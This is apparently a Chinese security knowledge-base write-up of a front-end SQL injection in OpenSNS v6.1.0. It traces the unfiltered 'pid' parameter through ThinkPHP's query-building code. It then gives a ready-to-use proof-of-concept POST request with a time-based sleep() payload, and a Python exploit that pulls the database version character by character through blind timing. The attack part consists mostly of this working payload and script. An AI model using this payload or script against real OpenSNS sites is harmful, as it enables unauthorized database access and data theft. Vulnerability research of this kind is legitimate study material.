menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right OpenSNS v6.1.0 前台sql注入 chevron_right OpenSNS v6.1.0 前台sql注入.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    OpenSNS v6.1.0 前台sql注入.md
    6 KB / 2021-07-15 19:58:43
        OpenSNS v6.1.0 前台sql注入
    ==========================
    
    一、漏洞简介
    ------------
    
    二、漏洞影响
    ------------
    
    OpenSNS v6.1.0
    
    三、复现过程
    ------------
    
    ### 漏洞分析
    
    Addons/ChinaCity/Controller/ChinaCityController.class.php:50
    发现我们输入的payload,向前查找,最开始从\$\_POST获取,如何处理,到此处
    
    ![](./resource/OpenSNSv6.1.0前台sql注入/media/rId25.jpg)
    
    ThinkPHP/Common/functions.php:343 跟进I函数获取到payload
    
    ![](./resource/OpenSNSv6.1.0前台sql注入/media/rId26.jpg)
    
    继续跟发现有参数过滤,可仔细一看跟没过滤一样
    
    ![](./resource/OpenSNSv6.1.0前台sql注入/media/rId27.jpg)
    
    ![](./resource/OpenSNSv6.1.0前台sql注入/media/rId28.jpg)
    
    到这里向前追溯就结束了,从`$pid = I('pid');` 向后跟
    
    跟进 \\Addons\\ChinaCity\\Model\\DistrictModel::\_list
    `$list = D('Addons://ChinaCity/District')->_list($map);`跟进
    Addons/ChinaCity/Model/DistrictModel.class.php:12
    
    ![](./resource/OpenSNSv6.1.0前台sql注入/media/rId29.jpg)
    
    ![](./resource/OpenSNSv6.1.0前台sql注入/media/rId30.jpg)
    
    ThinkPHP/Library/Think/Model.class.php:618
    `$resultSet = $this->db->select($options);`ThinkPHP/Library/Think/Db.class.php:772
    
    ![](./resource/OpenSNSv6.1.0前台sql注入/media/rId31.jpg)
    
    Db.class.php:799, Think\\Db-\>buildSelectSql() 下的 `$this->parseSQl`
    ThinkPHP/Library/Think/Db.class.php:799
    
    ![](./resource/OpenSNSv6.1.0前台sql注入/media/rId32.jpg)
    
    ThinkPHP/Library/Think/Db.class.php:804
    发现执行了2个其他的sql语句,在此处(`buildSelectSql 里->return $sql`)下断点可以看到sql语句
    
    ![](./resource/OpenSNSv6.1.0前台sql注入/media/rId33.jpg)
    
    ThinkPHP/Library/Think/Db.class.php:813
    
    ![](./resource/OpenSNSv6.1.0前台sql注入/media/rId34.jpg)
    
    ThinkPHP/Library/Think/Db.class.php:821
    `$this->parseWhere(!empty($options['where'])?$options['where']:''),`
    
    ThinkPHP/Library/Think/Db.class.php:423
    
    ![](./resource/OpenSNSv6.1.0前台sql注入/media/rId35.jpg)
    
    跟到
    
    ![](./resource/OpenSNSv6.1.0前台sql注入/media/rId36.jpg)
    
    ThinkPHP/Library/Think/Db.class.php:457
    
    ![](./resource/OpenSNSv6.1.0前台sql注入/media/rId37.jpg)
    
    ThinkPHP/Library/Think/Db.class.php:468
    
    ![](./resource/OpenSNSv6.1.0前台sql注入/media/rId38.jpg)
    
    ThinkPHP/Library/Think/Db.class.php:457
    
    ![](./resource/OpenSNSv6.1.0前台sql注入/media/rId39.jpg)
    
    ThinkPHP/Library/Think/Db.class.php:497
    
    ![](./resource/OpenSNSv6.1.0前台sql注入/media/rId40.jpg)
    
    虽然这个地方有转译,但只有\$val\[1\]
    
    ![](./resource/OpenSNSv6.1.0前台sql注入/media/rId41.jpg)
    
    ThinkPHP/Library/Think/Db.class.php:464
    
    ![](./resource/OpenSNSv6.1.0前台sql注入/media/rId42.jpg)
    
    ThinkPHP/Library/Think/Db.class.php:813
    
    ![](./resource/OpenSNSv6.1.0前台sql注入/media/rId43.jpg)
    
    ThinkPHP/Library/Think/Db.class.php:773
    `$result = $this->query($sql,$this->parseBind(!empty($options['bind'])?$options['bind']:array()));`
    
    执行成功 sleep了
    
        Db.class.php:469, Think\Db->parseWhereItem()
        Db.class.php:457, Think\Db->parseWhere()
        Db.class.php:821, Think\Db->parseSql()
        Db.class.php:799, Think\Db->buildSelectSql()
        Db.class.php:772, Think\Db->select()
        Model.class.php:618, Think\Model->select()
        DistrictModel.class.php:12, Addons\ChinaCity\Model\DistrictModel->_list()
        ChinaCityController.class.php:58, Addons\ChinaCity\Controller\ChinaCityController->getCity()
        AddonsController.class.php:42, Home\Controller\AddonsController->execute()
        App.class.php:153, ReflectionMethod->invokeArgs()
        App.class.php:153, Think\App::exec()
        App.class.php:193, Think\App::run()
        Think.class.php:121, Think\Think::start()
        ThinkPHP.php:96, require()
        index.php:73, {main}()
    
    ### 漏洞复现
    
    #### vul url
    
    > [http://0-sec.org/uploads\_download\_2019-07-16\_5d2d5d4697d88/index.php?s=/home/addons/\_addons/china\_city/\_controller/china\_city/\_action/getcity.html](https://www.t00ls.net/)
    
    #### poc
    
        POST /index.php?s=%2Fhome%2Faddons%2F_addons%2Fchina_city%2F_controller%2Fchina_city%2F_action%2Fgetcity.html HTTP/1.1
        Host: 0-sec.org
        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
        Content-Length: 116
        Accept: */*
        Cookie: 
        Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,und;q=0.7
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Origin: http://192.168.95.131
        Referer: http://192.168.95.131/uploads_download_2019-07-16_5d2d5d4697d88/index.php?s=/ucenter/config/index.html
        X-Requested-With: XMLHttpRequest
        Accept-Encoding: gzip
    
        cid=0&pid%5B0%5D=%3D%28select%2Afrom%28select%2Bsleep%283%29union%2F%2A%2A%2Fselect%2B1%29a%29and+3+in+&pid%5B1%5D=3
    
    ![](./resource/OpenSNSv6.1.0前台sql注入/media/rId48.jpg)
    
    ![](./resource/OpenSNSv6.1.0前台sql注入/media/rId49.jpg)
    
    Vulnerability file
    
    Addons/ChinaCity/Controller/ChinaCityController.class.php:50
    
    ![](./resource/OpenSNSv6.1.0前台sql注入/media/rId50.jpg)
    
    ThinkPHP/Library/Think/Db.class.php:772
    
    ![](./resource/OpenSNSv6.1.0前台sql注入/media/rId51.jpg)
    
    ![](./resource/OpenSNSv6.1.0前台sql注入/media/rId52.jpg)
    
    #### exp
    
        import requests
        from requests import exceptions
    
        url="http://192.168.95.131/uploads_download_2019-07-16_5d2d5d4697d88/index.php?s=/home/addons/_addons/china_city/_controller/china_city/_action/getcity.html"
    
    
        header={'X-Requested-With':'XMLHttpRequest'}
        # proxies={'http':'127.0.0.1:8080'}
        flag=''
        for i in range(1,50):
            for j in range(32,128):
                try:
                    data={
                        'cid':0,
                        'pid[0]':"=(select if(ord(substr((select version()),{},1))={},sleep(10),0))AND 3 IN  ".format(i,j),
                        'pid[1]':3
                    }
                    # print data['pid[0]']
                    r=requests.post(url,data=data,headers=header,timeout=5)
    
                except exceptions.Timeout :
                    flag+=chr(j)
                    print flag
    
    ![](./resource/OpenSNSv6.1.0前台sql注入/media/rId54.jpg)
    
    参考链接
    --------
    
    > <https://www.t00ls.net/thread-54688-1-1.html>
    
    
    links
    file_download